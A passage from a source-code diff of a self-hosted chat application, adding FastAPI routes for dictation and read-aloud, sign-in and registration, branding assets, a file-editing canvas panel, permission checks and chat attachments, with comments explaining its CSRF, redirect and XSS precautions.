+# ceiling on nonsense, not a budget. Recorded audio is held in memory and never
+# written to disk: it is not an attachment, has no owner and nothing would ever
+# sweep it up.
+MAX_AUDIO_BYTES = 25 * 1024 * 1024
+
+
+def _user_audio(user: User) -> dict:
+    return dict((user.settings_json or {}).get("audio") or {})
+
+
+def resolve_voice(config: dict, user: User) -> str:
+    """The voice a given user should be read to in.
+
+    Their own choice, then the instance default, then whatever the endpoint
+    picks. Not validated against the discovered list: a voice can disappear
+    when a server is reconfigured, and falling back beats failing.
+    """
+    return (_user_audio(user).get("voice") or config.get("tts_voice") or "").strip()
+
+
+def resolve_speed(config: dict, user: User) -> float:
+    """The playback speed for this user, in the range every endpoint accepts.
+
+    Key presence decides which layer wins, not truthiness: chained `or` would
+    make a stored speed of 0 fall through to the default instead of being
+    clamped, which is a different answer for no stated reason.
+    """
+    preferences = _user_audio(user)
+    if "speed" in preferences:
+        raw = preferences["speed"]
+    elif "tts_speed" in config:
+        raw = config["tts_speed"]
+    else:
+        return 1.0
+
+    try:
+        chosen = float(raw)
+    except (TypeError, ValueError):
+        return 1.0
+    # Clamped rather than dropped, unlike the sampling parameters: a speed of 0
+    # is not a slower reading, it is silence.
+    return min(max(chosen, 0.25), 4.0)
+
+
+@router.post(
+    "/transcribe", dependencies=[Depends(require_permission("audio.transcribe"))]
+)
+async def transcribe(
+    db: Db, user: RequiredUser, file: UploadFile = File(...)
+) -> Response:
+    """Turn a recording into text for the composer.
+
+    Returns plain text, not HTML: the caller assigns it to a textarea's value,
+    where it is never parsed as markup.
+    """
+    config = settings_store.audio(db)
+    if not config.get("stt_enabled"):
+        raise HTTPException(
+            status.HTTP_404_NOT_FOUND, "Dictation is not enabled on this instance."
+        )
+
+    data = await file.read(MAX_AUDIO_BYTES + 1)
+    if len(data) > MAX_AUDIO_BYTES:
+        raise HTTPException(
+            status.HTTP_413_CONTENT_TOO_LARGE, "That recording is too long."
+        )
+    if not data:
+        raise HTTPException(status.HTTP_400_BAD_REQUEST, "The recording was empty.")
+
+    language = (_user_audio(user).get("language") or config.get("stt_language") or "").strip()
+
+    try:
+        text = await audio_service.transcribe(
+            audio_service.endpoint_for(config, "stt"),
+            data=data,
+            filename=file.filename or "speech.webm",
+            content_type=file.content_type or "audio/webm",
+            model=config.get("stt_model") or "whisper-1",
+            language=language,
+        )
+    except LLMError as exc:
+        log.info("transcription failed: %s", exc.message)
+        raise HTTPException(status.HTTP_502_BAD_GATEWAY, exc.message) from exc
+
+    return PlainTextResponse(text)
+
+
+@router.get(
+    "/speech/{chat_id}/{message_id}",
+    dependencies=[Depends(require_permission("audio.listen"))],
+)
+async def speech(db: Db, user: RequiredUser, chat_id: str, message_id: str) -> Response:
+    """Read one message aloud."""
+    config = settings_store.audio(db)
+    if not config.get("tts_enabled"):
+        raise HTTPException(
+            status.HTTP_404_NOT_FOUND, "Read-aloud is not enabled on this instance."
+        )
+
+    message = _owned_message(db, chat_id, message_id, user)
+    text = speakable_text(message.content)
+    if not text:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "There is nothing to read out.")
+
+    try:
+        media_type, stream = await audio_service.speak(
+            audio_service.endpoint_for(config, "tts"),
+            text,
+            model=config.get("tts_model") or "tts-1",
+            voice=resolve_voice(config, user),
+            fmt=config.get("tts_format") or "mp3",
+            speed=resolve_speed(config, user),
+        )
+    except LLMError as exc:
+        log.info("speech failed: %s", exc.message)
+        raise HTTPException(status.HTTP_502_BAD_GATEWAY, exc.message) from exc
+
+    return StreamingResponse(
+        stream,
+        media_type=media_type,
+        # Not cached: the voice can change under the reader between plays, and
+        # a message can be regenerated at the same URL.
+        headers={"Cache-Control": "no-store", "X-Accel-Buffering": "no"},
+    )
+
+
+async def available_voices(config: dict, *, refresh: bool = False) -> tuple[list[str], str]:
+    """Discovered voices and, if discovery failed, why.
+
+    Returns rather than raises: a settings page whose voice list could not be
+    fetched should still render, with the reason next to an empty list.
+    """
+    if not config.get("tts_enabled") or not (config.get("tts_base_url") or "").strip():
+        return [], ""
+    try:
+        return await audio_service.voices(
+            audio_service.endpoint_for(config, "tts"), refresh=refresh
+        ), ""
+    except LLMError as exc:
+        return [], exc.message
+
+
+def _owned_message(db: DBSession, chat_id: str, message_id: str, user: User) -> Message:
+    """The message, if it belongs to a chat this user owns.
+
+    404 rather than 403 throughout, matching api/chats.py: whether a given id
+    exists is not information these endpoints hand out.
+    """
+    chat = db.get(Chat, chat_id)
+    if chat is None or chat.user_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+    message = db.get(Message, message_id)
+    if message is None or message.chat_id != chat.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That message no longer exists.")
+    return message

src/lembas/api/auth.py

@@ -0,0 +1,212 @@
+"""Registration, sign-in and sign-out."""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, select
+
+from lembas.api.deps import CurrentUser, Db
+from lembas.config import settings
+from lembas.db.models import ROLE_ADMIN, ROLE_USER, User
+from lembas.security.passwords import hash_password, validate_password, verify_password
+from lembas.security.sessions import COOKIE_NAME, create_session, revoke_session
+from lembas.services import settings_store
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/auth", tags=["auth"])
+
+
+def _no_users_yet(db: Db) -> bool:
+    return db.scalar(select(func.count()).select_from(User)) == 0
+
+
+def _set_session_cookie(response: Response, token: str) -> None:
+    response.set_cookie(
+        COOKIE_NAME,
+        token,
+        max_age=settings.session_ttl,
+        httponly=True,
+        # Lax is what makes this application CSRF-safe without tokens: the
+        # cookie is not sent on cross-site POSTs, and every mutating route here
+        # is a POST. Do not relax to "none".
+        #
+        # One route is no longer a POST: the terminal WebSocket is a GET, and
+        # what it opens is a shell. Lax still withholds the cookie from a
+        # handshake a foreign page starts, so the attack is blocked -- but the
+        # sentence above is no longer the whole story, which is why
+        # `api/terminal.py` also *requires* a same-origin Origin header rather
+        # than merely checking one when it happens to be there.
+        samesite="lax",
+        # Only over HTTPS when the deployment is not plain local http. Marking
+        # it secure on http would silently break sign-in for a LAN install.
+        # It has always meant "a network attacker on plain http can steal a
+        # session"; with the terminal it also means they get a shell on the
+        # machine behind that chat. See deploy/README.md.
+        secure=False,
+        path="/",
+    )
+
+
+def _safe_next(raw: str | None) -> str:
+    """Reject open redirects: only same-origin absolute paths are allowed."""
+    if not raw or not raw.startswith("/") or raw.startswith("//"):
+        return "/"
+    return raw
+
+
+def _login_page(request: Request, db: Db, *, status_code: int = 200, **context):
+    """Render the sign-in page.
+
+    Always goes through here so `allow_signup` reflects the *stored* setting
+    rather than the environment default baked in by render(). Otherwise the
+    "Create one" link would keep appearing after an administrator closed
+    registration, offering a link that only leads to a refusal.
+    """
+    context.setdefault("next", "/")
+    context["allow_signup"] = settings_store.signup_allowed(db)
+    return render(request, "auth/login.html", context, status_code=status_code)
+
+
+@router.get("/login")
+async def login_form(request: Request, db: Db, user: CurrentUser, next: str = "/"):
+    if user is not None:
+        return RedirectResponse(_safe_next(next), status_code=status.HTTP_303_SEE_OTHER)
+    # An empty database means this install has never been set up. Send the
+    # first visitor straight to registration rather than to a login form they
+    # cannot possibly satisfy.
+    if _no_users_yet(db):
+        return RedirectResponse("/auth/register", status_code=status.HTTP_303_SEE_OTHER)
+    return _login_page(request, db, next=_safe_next(next))
+
+
+@router.post("/login")
+async def login(
+    request: Request,
+    db: Db,
+    email: str = Form(...),
+    password: str = Form(...),
+    next: str = Form("/"),
+):
+    email = email.strip().lower()
+    user = db.scalar(select(User).where(User.email == email))
+
+    # One message for "no such account" and "wrong password" alike, so the form
+    # cannot be used to discover which addresses are registered.
+    if user is None or not verify_password(password, user.password_hash):
+        log.info("failed sign-in for %s", email)
+        return _login_page(
+            request,
+            db,
+            status_code=status.HTTP_401_UNAUTHORIZED,
+            error="That email and password do not match.",
+            email=email,
+            next=_safe_next(next),
+        )
+
+    if not user.active:
+        return _login_page(
+            request,
+            db,
+            status_code=status.HTTP_403_FORBIDDEN,
+            error="This account has been deactivated. Ask an administrator.",
+            email=email,
+            next=_safe_next(next),
+        )
+
+    token = create_session(
+        db,
+        user,
+        user_agent=request.headers.get("user-agent", ""),
+        ip_address=request.client.host if request.client else "",
+    )
+    response = RedirectResponse(_safe_next(next), status_code=status.HTTP_303_SEE_OTHER)
+    _set_session_cookie(response, token)
+    return response
+
+
+@router.get("/register")
+async def register_form(request: Request, db: Db, user: CurrentUser):
+    if user is not None:
+        return RedirectResponse("/", status_code=status.HTTP_303_SEE_OTHER)
+    first_run = _no_users_yet(db)
+    if not first_run and not settings_store.signup_allowed(db):
+        return _login_page(
+            request,
+            db,
+            status_code=status.HTTP_403_FORBIDDEN,
+            error="Registration is closed. Ask an administrator for an account.",
+        )
+    return render(request, "auth/register.html", {"first_run": first_run})
+
+
+@router.post("/register")
+async def register(
+    request: Request,
+    db: Db,
+    name: str = Form(...),
+    email: str = Form(...),
+    password: str = Form(...),
+):
+    first_run = _no_users_yet(db)
+    if not first_run and not settings_store.signup_allowed(db):
+        return _login_page(
+            request,
+            db,
+            status_code=status.HTTP_403_FORBIDDEN,
+            error="Registration is closed. Ask an administrator for an account.",
+        )
+
+    name = name.strip()
+    email = email.strip().lower()
+
+    def fail(message: str) -> Response:
+        return render(
+            request,
+            "auth/register.html",
+            {"error": message, "name": name, "email": email, "first_run": first_run},
+            status_code=status.HTTP_400_BAD_REQUEST,
+        )
+
+    if not name:
+        return fail("Please enter a name.")
+    if "@" not in email or "." not in email.split("@")[-1]:
+        return fail("Please enter a valid email address.")
+    if (problem := validate_password(password)) is not None:
+        return fail(problem)
+    if db.scalar(select(User).where(User.email == email)) is not None:
+        return fail("An account with that email already exists.")
+
+    # Whoever sets the instance up owns it. Everyone after that is a plain user
+    # until an admin says otherwise.
+    user = User(
+        name=name,
+        email=email,
+        password_hash=hash_password(password),
+        role=ROLE_ADMIN if first_run else ROLE_USER,
+    )
+    db.add(user)
+    db.commit()
+    log.info("registered %s as %s", email, user.role)
+
+    token = create_session(
+        db,
+        user,
+        user_agent=request.headers.get("user-agent", ""),
+        ip_address=request.client.host if request.client else "",
+    )
+    response = RedirectResponse("/", status_code=status.HTTP_303_SEE_OTHER)
+    _set_session_cookie(response, token)
+    return response
+
+
+@router.post("/logout")
+async def logout(request: Request, db: Db):
+    revoke_session(db, request.cookies.get(COOKIE_NAME))
+    response = RedirectResponse("/auth/login", status_code=status.HTTP_303_SEE_OTHER)
+    response.delete_cookie(COOKIE_NAME, path="/")
+    return response

src/lembas/api/branding.py

@@ -0,0 +1,65 @@
+"""Serving what an administrator customised.
+
+Both routes here are deliberately **unauthenticated**, and for the same reason
+the manifest and the offline page are: the sign-in page needs the logo before
+anybody has signed in, and a browser fetches a stylesheet and a launcher icon
+outside any page's session.
+
+What that exposes is a file an administrator uploaded on purpose to be shown to
+everybody, under a random filename, in a format that cannot execute in an
+`<img>` — `services/uploads.py:ALLOWED_TYPES` is what makes the last part true,
+and it is why SVG is not in it.
+"""
+
+from __future__ import annotations
+
+from fastapi import APIRouter, HTTPException, Response, status
+from fastapi.responses import FileResponse
+
+from lembas.services import branding as branding_service
+from lembas.services import uploads
+
+router = APIRouter(tags=["branding"])
+
+
+@router.get("/branding.css", include_in_schema=False)
+async def branding_css() -> Response:
+    """The custom themes and the custom CSS.
+
+    A route rather than an inline `<style>` in `base.html`, which is a security
+    property before it is a caching one: an external stylesheet has no HTML
+    context to escape from, so an administrator's CSS cannot become markup
+    however it is written. Inline, the same text would be one `</style>` away
+    from being a script on every page.
+
+    Cached hard and busted by a query string. `base.html` links this with
+    `?v={{ brand.revision }}`, a hash of everything below, so the URL changes
+    exactly when the stylesheet does. Without that the browser's cache is what
+    decides when a rebrand takes effect, which is a save that looks like it
+    worked and did nothing.
+    """
+    brand = branding_service.snapshot()
+    return Response(
+        branding_service.stylesheet(brand),
+        media_type="text/css",
+        headers={"Cache-Control": "public, max-age=604800"},
+    )
+
+
+@router.get("/branding/{filename}", include_in_schema=False)
+async def branding_asset(filename: str) -> Response:
+    """A logo, a favicon, or a launcher icon derived from one."""
+    path = uploads.branding_image_path(filename)
+    if path is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such file.")
+    return FileResponse(
+        path,
+        media_type=uploads.media_type_for(filename),
+        # Public, unlike a model avatar: this is served to somebody who is not
+        # signed in, so there is nothing private to keep out of a shared cache.
+        # Names are random, so a replacement is a new URL.
+        headers={
+            "Cache-Control": "public, max-age=604800",
+            "X-Content-Type-Options": "nosniff",
+        },
+    )

src/lembas/api/canvas.py

@@ -0,0 +1,242 @@
+"""The canvas panel: open a file, read it, change it, save it.
+
+Every route answers with an HTML fragment, errors included. An exception page
+swapped into a side panel is a blank side panel, and a panel that goes blank
+tells somebody nothing about why.
+
+`GET` never moves the active tab. There is no CSRF token in this application and
+the session cookie is SameSite Lax, so a state-changing GET is a link somebody
+can be made to follow -- and one of the things a tab can be is a file on
+somebody's server.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, HTTPException, Request, Response, status
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import Db, RequiredUser
+from lembas.db.models import Chat, User
+from lembas.services import canvas as canvas_service
+from lembas.services import generation as generation_service
+from lembas.services.agent import draft as draft_service
+from lembas.services.agent.base import Conflict
+from lembas.services.markdown import highlight_code, render_markdown
+from lembas.web.templating import templates
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/chats", tags=["canvas"])
+
+
+def _owned_chat(db: DBSession, chat_id: str, user_id: str) -> Chat:
+    """404 rather than 403 for somebody else's chat: whether it exists at all is
+    not this account's business.
+
+    A draft id resolves to a transient `Chat` -- constructed, never saved --
+    which is what lets the canvas work on the new-chat screen without any of the
+    six sources learning that drafts exist. See services/agent/draft.py.
+    """
+    if draft_service.is_draft(chat_id):
+        draft = draft_service.get(chat_id, user_id)
+        if draft is None:
+            raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+        return draft_service.as_chat(draft)
+
+    chat = db.get(Chat, chat_id)
+    if chat is None or chat.user_id != user_id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+    return chat
+
+
+def _remember_tabs(chat: Chat, state: dict) -> bool:
+    """Put the tab strip back where it came from. True when it was a draft.
+
+    A draft's tabs live in the registry rather than on a row, so the two write
+    paths below fork here rather than each remembering to check.
+    """
+    if not draft_service.is_draft(chat.id):
+        return False
+    draft = draft_service.get(chat.id, chat.user_id)
+    if draft is not None:
+        draft.canvas_json = dict(state or {})
+    return True
+
+
+async def _panel(
+    request: Request,
+    db: DBSession,
+    user: User,
+    chat: Chat,
+    *,
+    key: str = "",
+    message: str = "",
+    conflict: canvas_service.Doc | None = None,
+    mine: str = "",
+) -> Response:
+    """The strip and whichever tab is in front, as one fragment.
+
+    Both together, always. Rendering only the body would leave the strip showing
+    a tab that is no longer there after a close, and rendering only the strip
+    would leave the previous file on screen after a switch.
+    """
+    wanted = key or canvas_service.active_of(chat)
+    doc: canvas_service.Doc | None = None
+    error = message
+    if wanted and not error:
+        try:
+            doc = await canvas_service.load(db, user, chat, wanted)
+        except canvas_service.Refused as exc:
+            error = str(exc)
+        except Exception:  # pragma: no cover - a machine going away mid-request
+            log.exception("canvas could not open %s", wanted)
+            error = "That could not be opened."
+
+    body = ""
+    if doc is not None and doc.text:
+        # The one `|safe` in this panel, and it is safe because pygments escapes
+        # what it is given. Markdown goes through render_markdown, the single
+        # path in this application allowed to emit HTML. Everything else -- the
+        # editor's contents, the titles, the paths -- is escaped by Jinja.
+        body = render_markdown(doc.text) if doc.markdown else highlight_code(doc.text, doc.language)
+
+    return templates.TemplateResponse(
+        request,
+        "chat/_canvas_inner.html",
+        {
+            "user": user,
+            "chat": chat,
+            "tabs": canvas_service.tabs_of(chat),
+            "active": wanted,
+            "doc": doc,
+            "rendered": body,
+            "error": error,
+            "conflict": conflict,
+            "mine": mine,
+            "canvas_agent": canvas_service.agent_ready(db, user, chat) is not None,
+            # What the "Open a file" dialog browses. The endpoint it calls is
+            # hung off the profile rather than the chat, so the button has to
+            # carry the profile -- and the directory it should start in, or it
+            # opens at the account's home and every path is a walk from there.
+            "agent_profile_id": chat.ssh_profile_id or "",
+            "agent_dir": chat.project_dir or "",
+        },
+    )
+
+
+@router.get("/{chat_id}/canvas")
+async def show(request: Request, db: Db, user: RequiredUser, chat_id: str, key: str = ""):
+    """Whatever is in front, or the tab named by `?key=`.
+
+    Read-only in every sense: a `?key=` that is not open does not become open,
+    it is simply shown. Opening is a POST.
+    """
+    chat = _owned_chat(db, chat_id, user.id)
+    return await _panel(request, db, user, chat, key=key)
+
+
+@router.post("/{chat_id}/canvas/tabs")
+async def open_tab(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    chat_id: str,
+    key: str = Form(...),
+    title: str = Form(""),
+):
+    """Open a file, or bring an already-open one to the front.
+
+    Idempotent, because opening what is already open is switching to it -- the
+    same reason `generation.ensure` is idempotent.
+    """
+    chat = _owned_chat(db, chat_id, user.id)
+
+    # Two of the six sources need a real row behind them, and one of those is a
+    # hole rather than an inconvenience -- see draft.SOURCES_NEEDING_A_CHAT.
+    # Refused by source name, here, rather than left to fall out of an id
+    # comparison somewhere further in.
+    if draft_service.is_draft(chat.id) and draft_service.refuses(key.split(":", 1)[0]):
+        return await _panel(
+            request, db, user, chat,
+            message="That can only be opened once this chat exists. Send a message first.",
+        )
+
+    try:
+        doc = await canvas_service.load(db, user, chat, key)
+    except canvas_service.Refused as exc:
+        return await _panel(request, db, user, chat, message=str(exc))
+
+    state = canvas_service.open_tab(
+        dict(chat.canvas_json or {}),
+        {"key": doc.key, "title": title.strip() or doc.title, "source": doc.key.split(":")[0]},
+    )
+    # Reassigned rather than mutated: an in-place edit of a JSON column is not
+    # reliably detected as a change.
+    chat.canvas_json = state
+    if not _remember_tabs(chat, state):
+        db.commit()
+
+    # A reply running right now holds its own snapshot, seeded when it started.
+    # Without this the next frame it sends would contradict what was just
+    # swapped in -- the same reach into live state `request_stop` makes.
+    live = generation_service.running_for(chat.id)
+    if live is not None:
+        canvas_service.open_tab(live.canvas, {"key": doc.key, "title": doc.title})
+
+    return await _panel(request, db, user, chat, key=doc.key)
+
+
+@router.post("/{chat_id}/canvas/tabs/close")
+async def close_tab(
+    request: Request, db: Db, user: RequiredUser, chat_id: str, key: str = Form(...)
+):
+    chat = _owned_chat(db, chat_id, user.id)
+    chat.canvas_json = canvas_service.close_tab(dict(chat.canvas_json or {}), key)
+    if not _remember_tabs(chat, chat.canvas_json):
+        db.commit()
+
+    live = generation_service.running_for(chat.id)
+    if live is not None:
+        canvas_service.close_tab(live.canvas, key)
+
+    return await _panel(request, db, user, chat)
+
+
+@router.post("/{chat_id}/canvas/save")
+async def save(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    chat_id: str,
+    key: str = Form(...),
+    text: str = Form(""),
+    revision: str = Form(""),
+):
+    """Write it back.
+
+    A conflict comes back as a card, at 200, so htmx swaps it: the panel has to
+    be able to show Overwrite, Discard mine and Show what changed, and none of
+    those can be offered from an error status htmx will not render. Never save
+    silently over a change; never discard silently either.
+    """
+    chat = _owned_chat(db, chat_id, user.id)
+
+    try:
+        await canvas_service.save(db, user, chat, key, text, revision)
+    except Conflict:
+        try:
+            theirs = await canvas_service.load(db, user, chat, key)
+        except canvas_service.Refused as exc:
+            return await _panel(request, db, user, chat, key=key, message=str(exc))
+        return await _panel(request, db, user, chat, key=key, conflict=theirs, mine=text)
+    except canvas_service.Refused as exc:
+        return await _panel(request, db, user, chat, key=key, message=str(exc))
+    except Exception:  # pragma: no cover - the machine going away mid-write
+        log.exception("canvas could not save %s", key)
+        return await _panel(
+            request, db, user, chat, key=key, message="That could not be saved."
+        )
+
+    return await _panel(request, db, user, chat, key=key)

src/lembas/api/deps.py

@@ -8,6 +8,7 @@ from typing import Annotated
 from fastapi import Depends, HTTPException, Request, status
 from fastapi.responses import RedirectResponse
 from sqlalchemy.orm import Session as DBSession
+from starlette.requests import HTTPConnection
 
 from lembas.db.models import User
 from lembas.db.session import get_session_factory
@@ -26,17 +27,23 @@ def get_db() -> Iterator[DBSession]:
 Db = Annotated[DBSession, Depends(get_db)]
 
 
-def get_current_user(request: Request, db: Db) -> User | None:
+def get_current_user(conn: HTTPConnection, db: Db) -> User | None:
     """Resolve the session cookie to a user, or None when signed out.
 
-    Cached on request.state so several dependencies in one request do not each
+    Cached on the connection's state so several dependencies in one request do
-    hit the sessions table.
+    not each hit the sessions table.
+
+    `HTTPConnection` rather than `Request` because the terminal panel is a
+    WebSocket, and FastAPI injects a `WebSocket` there -- annotating this
+    `Request` fails at *connect* time rather than at import, so it would pass
+    every smoke test and break in a browser. `HTTPConnection` is the base of
+    both and carries the cookies and the state either way.
     """
-    cached = getattr(request.state, "user", None)
+    cached = getattr(conn.state, "user", None)
     if cached is not None:
         return cached
-    user = resolve_session(db, request.cookies.get(COOKIE_NAME))
+    user = resolve_session(db, conn.cookies.get(COOKIE_NAME))
-    request.state.user = user
+    conn.state.user = user
     return user
 
 
@@ -78,6 +85,27 @@ def require_admin(user: RequiredUser) -> User:
 AdminUser = Annotated[User, Depends(require_admin)]
 
 
+def require_permission(key: str):
+    """Dependency factory guarding a route behind a named permission.
+
+        @router.post("", dependencies=[Depends(require_permission("chat.create"))])
+
+    Administrators always pass; see lembas.security.permissions for why.
+    """
+
+    def guard(db: Db, user: RequiredUser) -> User:
+        from lembas.security import permissions
+
+        if not permissions.has(db, user, key):
+            raise HTTPException(
+                status_code=status.HTTP_403_FORBIDDEN,
+                detail="You do not have permission to do that.",
+            )
+        return user
+
+    return guard
+
+
 def is_htmx(request: Request) -> bool:
     return request.headers.get("HX-Request") == "true"
 

src/lembas/api/files.py

@@ -0,0 +1,546 @@
+"""Uploading, serving and removing chat attachments."""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import (
+    APIRouter,
+    Depends,
+    File,
+    Form,
+    HTTPException,
+    Request,
+    Response,
+    UploadFile,
+    status,
+)
+from fastapi.responses import FileResponse
+from sqlalchemy import select
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.db.models import Attachment, Chat, Document, KnowledgeBase, Note
+from lembas.security import permissions
+from lembas.services import files as files_service
+from lembas.services import settings_store
+from lembas.services.fetch import FetchError, fetch
+from lembas.services.library import documents as documents_service
+from lembas.services.library import notes as notes_service
+from lembas.services.library import skills as skills_service
+from lembas.web.templating import templates
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/files", tags=["files"])
+
+
+def _owned(db: Db, attachment_id: str, user_id: str) -> Attachment:
+    attachment = db.get(Attachment, attachment_id)
+    if attachment is None or attachment.user_id != user_id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That file no longer exists.")
+    return attachment
+
+
+@router.post("", dependencies=[Depends(require_permission("files.upload"))])
+async def upload(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    file: UploadFile = File(...),
+    chat_id: str = "",
+) -> Response:
+    """Accept one file and return the chip that represents it in the composer.
+
+    The attachment is stored immediately but left unbound: it only joins a
+    message when that message is sent. That is what lets a file be removed
+    before sending, and what the orphan sweep later cleans up.
+    """
+    payload = await file.read()
+
+    try:
+        attachment = files_service.store(
+            db,
+            user_id=user.id,
+            chat_id=chat_id or None,
+            payload=payload,
+            filename=file.filename or "file",
+        )
+    except files_service.FileError as exc:
+        # 200 with an error chip rather than a 4xx: htmx swaps the response
+        # body either way, and an error the user can read beats a silent
+        # failure in the console.
+        return templates.TemplateResponse(
+            request,
+            "chat/_attachment_error.html",
+            {"request": request, "filename": file.filename or "file", "error": str(exc)},
+        )
+
+    return templates.TemplateResponse(
+        request,
+        "chat/_attachment_chip.html",
+        {"request": request, "attachment": attachment},
+    )
+
+
+@router.post("/link", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_link(
+    request: Request, db: Db, user: RequiredUser, url: str = Form(""), chat_id: str = Form("")
+) -> Response:
+    """Fetch a web page and attach its text.
+
+    The page is reduced to text here and stored, rather than being fetched again
+    when the message is sent: the same rule as PDF extraction. A reply must not
+    change because a page was edited between composing and sending.
+    """
+    config = settings_store.search(db)
+    try:
+        page = await fetch(url, allow_private=bool(config.get("allow_private_fetch")))
+    except FetchError as exc:
+        return templates.TemplateResponse(
+            request,
+            "chat/_attachment_error.html",
+            {"request": request, "filename": url[:80] or "link", "error": exc.message},
+        )
+
+    attachment = files_service.store_text(
+        db,
+        user_id=user.id,
+        chat_id=chat_id or None,
+        filename=f"{page.title[:120] or 'page'}.txt",
+        text=page.text,
+        truncated=page.truncated,
+        source_note=page.url,
+    )
+    return templates.TemplateResponse(
+        request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
+    )
+
+
+@router.post("/from-knowledge", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_from_knowledge(
+    request: Request, db: Db, user: RequiredUser, document_id: str = Form(""),
+    chat_id: str = Form(""),
+) -> Response:
+    """Attach a library document to the message being composed.
+
+    The document is **copied**, not referenced. History must not change under a
+    conversation because a document was later edited or deleted -- the same
+    reason a PDF's text is extracted once at upload rather than per request.
+    """
+    document = documents_service.get(db, document_id, user)
+    if document is None:
+        return templates.TemplateResponse(
+            request,
+            "chat/_attachment_error.html",
+            {
+                "request": request,
+                "filename": "document",
+                "error": "That document is not available.",
+            },
+        )
+
+    attachment = files_service.copy_document(
+        db, user_id=user.id, chat_id=chat_id or None, document=document
+    )
+    return templates.TemplateResponse(
+        request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
+    )
+
+
+def _chip(request: Request, attachment: Attachment) -> Response:
+    return templates.TemplateResponse(
+        request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
+    )
+
+
+def _not_available(request: Request, what: str) -> Response:
+    return templates.TemplateResponse(
+        request,
+        "chat/_attachment_error.html",
+        {"request": request, "filename": what, "error": f"That {what} is not available."},
+    )
+
+
+@router.post("/from-note", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_from_note(
+    request: Request, db: Db, user: RequiredUser, note_id: str = Form(""), chat_id: str = Form("")
+) -> Response:
+    """Attach a note the model wrote earlier.
+
+    A copy, like every other attach path: a note is edited far more often than a
+    document, and a transcript that changes underneath itself because somebody
+    tidied a note later is the thing all of this is arranged to prevent.
+    """
+    note = notes_service.get(db, note_id, user)
+    if note is None:
+        return _not_available(request, "note")
+
+    return _chip(
+        request,
+        files_service.store_text(
+            db,
+            user_id=user.id,
+            chat_id=chat_id or None,
+            filename=f"{note.title or 'note'}.txt",
+            text=note.body,
+            source_path=note.title or "",
+            source_label="Note",
+        ),
+    )
+
+
+@router.post("/from-scratch", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_from_scratch(
+    request: Request, db: Db, user: RequiredUser, chat_id: str = Form("")
+) -> Response:
+    """Attach this chat's scratch document.
+
+    A copy, like every other attach path, and here the reason is at its
+    sharpest: the pad goes on being written after the message is sent, by the
+    person and by the model, and a transcript that changed underneath itself
+    every time either of them typed would be no record at all.
+    """
+    from lembas.services import scratch as scratch_service
+
+    chat = db.get(Chat, chat_id) if chat_id else None
+    if chat is None or chat.user_id != user.id:
+        return _not_available(request, "scratch document")
+
+    doc = scratch_service.get(db, chat)
+    if doc is None or not (doc.body or "").strip():
+        return _not_available(request, "scratch document")
+
+    return _chip(
+        request,
+        files_service.store_text(
+            db,
+            user_id=user.id,
+            chat_id=chat.id,
+            filename=f"{doc.title or 'scratch'}.md",
+            text=doc.body,
+            source_path=doc.title or "Scratch",
+            source_label="Scratch",
+        ),
+    )
+
+
+@router.post("/from-skill", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_from_skill(
+    request: Request, db: Db, user: RequiredUser, skill_id: str = Form(""), chat_id: str = Form("")
+) -> Response:
+    """Hand a skill over directly, rather than hoping the model fetches it.
+
+    The index of enabled skills is already in the harness and `skill_get` pulls
+    a body on demand -- but only if the model decides to. `@` is the reader
+    saying "use this one", which is a different act and deserves a way to say it.
+    """
+    skill = skills_service.get(db, skill_id, user)
+    if skill is None:
+        return _not_available(request, "skill")
+
+    return _chip(
+        request,
+        files_service.store_text(
+            db,
+            user_id=user.id,
+            chat_id=chat_id or None,
+            filename=f"{skill.name}.md",
+            text=skill.body,
+            source_path=skill.name,
+            source_label="Skill",
+        ),
+    )
+
+
+@router.post("/from-attachment", dependencies=[Depends(require_permission("files.upload"))])
+async def attach_from_attachment(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    attachment_id: str = Form(""),
+    chat_id: str = Form(""),
+) -> Response:
+    """Point at something already in this conversation, without uploading again.
+
+    Copied rather than referenced, like everything else here -- an attachment
+    belongs to the message it was sent with, and two messages sharing one row
+    would make deleting either of them a question rather than an answer.
+    """
+    original = db.get(Attachment, attachment_id)
+    if original is None or original.user_id != user.id:
+        return _not_available(request, "attachment")
+
+    return _chip(
+        request,
+        files_service.copy_attachment(
+            db, user_id=user.id, chat_id=chat_id or None, attachment=original
+        ),
+    )
+
+
+@router.get("/knowledge-picker", dependencies=[Depends(require_permission("files.upload"))])
+async def knowledge_picker(
+    request: Request, db: Db, user: RequiredUser, q: str = "", chat_id: str = ""
+) -> Response:
+    """The list of documents shown by the composer's Knowledge option."""
+    if q.strip():
+        found = documents_service.search(db, user, q, limit=20)
+    else:
+        found = list(
+            db.scalars(
+                documents_service.visible(db, user)
+                .order_by(Document.created_at.desc())
+                .limit(20)
+            )
+        )
+    return templates.TemplateResponse(
+        request,
+        "chat/_knowledge_picker.html",
+        # `user` is read by the template to mark documents shared by someone
+        # else; render() would inject it, but this is a fragment.
